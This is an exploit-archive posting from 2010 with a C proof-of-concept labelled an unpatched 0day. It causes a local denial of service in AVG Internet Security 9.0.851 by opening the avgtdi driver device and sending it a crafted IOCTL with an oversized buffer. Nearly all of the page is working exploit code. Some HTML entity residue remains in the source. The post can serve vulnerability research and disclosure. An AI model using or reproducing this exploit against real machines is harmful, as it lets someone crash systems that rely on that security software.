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[dos / poc] - AVG Internet Security v9.0.851 Local Denial of

Posted on 02 November 2010

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AVG Internet Security v9.0.851 Local Denial of Service
======================================================

/*
# Exploit Title: AVG Internet Security 0day Local DoS Exploit
# Date: 2010-11-01
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avg.com
# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
 
#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;io.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;errno.h&gt;
#include &lt;share.h&gt;
 
 
 
int main(int argc, char **argv)
{
    HANDLE   hDevice;
    DWORD    cb;
    void        *buff;
    int outlen = 0x18, inlen = 0x10;
    DWORD ioctl = 0x830020C8;
    char deviceName[] = &quot;\\.\avgtdi&quot;;
    char logName[] = &quot;avgtdi.log&quot;;
 
    if ( (hDevice = CreateFileA(deviceName,
                          GENERIC_READ|GENERIC_WRITE,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf(&quot;Device  succesfully opened!
&quot;);
    }
    else
    {
        printf(&quot;Error: Error opening device 
&quot;);
        return 0;
    }
 
    cb = 0;
    buff = malloc(0x1000);
    if(!buff){
      printf(&quot;malloc failed&quot;);
      return 0;
    }
    memset(buff, &#039;A&#039;, 0x1000-1);
 
 
 
    DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &amp;cb, NULL);
 
    free(buff);
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

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